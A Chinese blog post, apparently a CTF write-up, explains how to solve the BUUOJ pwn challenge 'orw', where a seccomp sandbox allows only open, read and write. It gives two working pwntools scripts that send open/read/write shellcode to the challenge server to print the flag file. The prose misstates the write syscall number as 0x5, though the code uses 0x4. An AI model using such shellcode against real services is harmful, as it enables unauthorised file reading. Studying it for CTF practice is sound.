【CTF】【PWN】orw

10 篇文章 0 订阅

在这里插入图片描述
这是沙盒机制,就是限制你能使用的syscall。
seccomp-tools这个工具能快速地查出你能使用地syscall。
在这里插入图片描述
我们能使用的常用的构造攻击链的只有open,read,write。
但是因为限制了syscall,所以我们不能用特殊的系统调用getshell。
有两种方法,一种直接写汇编,一种利用shellcraft构造。
下面是汇编:
首先流程是这样的:
open(’文件名‘,0,0)
read(文件描述符,‘文件名’,读取大小)
write(1,‘文件名’,写大小)
我们想要读取flag文件里的内容,所以应该构造如下
open(‘flag’,0,0)
read(3,‘flag’,0x30)
write(1,‘flag’,0x30)
那么就可以有如下的汇编代码
在这里插入图片描述
第一行payload中的push 0x00;push 0x67616c66相当于push /x00galf,因为是小端序,倒过来就是push flag/x00。
open的系统调用号是0x5,read是0x3,write是0x5.
代码如下:

from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

payload=asm('push 0x00;push 0x67616c66;mov ebx,esp;mov eax,0x5;mov ecx,0;mov edx,0;int 0x80;')#
payload+=asm('mov eax,0x3;mov ecx,ebx;mov edx,0x30;mov ebx,0x3;int 0x80;')#
payload+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')#
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(200)
print(flag)

利用shellcraft代码如下:

from pwn import *
from LibcSearcher import *


r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)#记得要把代码转换成汇编语言
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(100)
print(flag)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值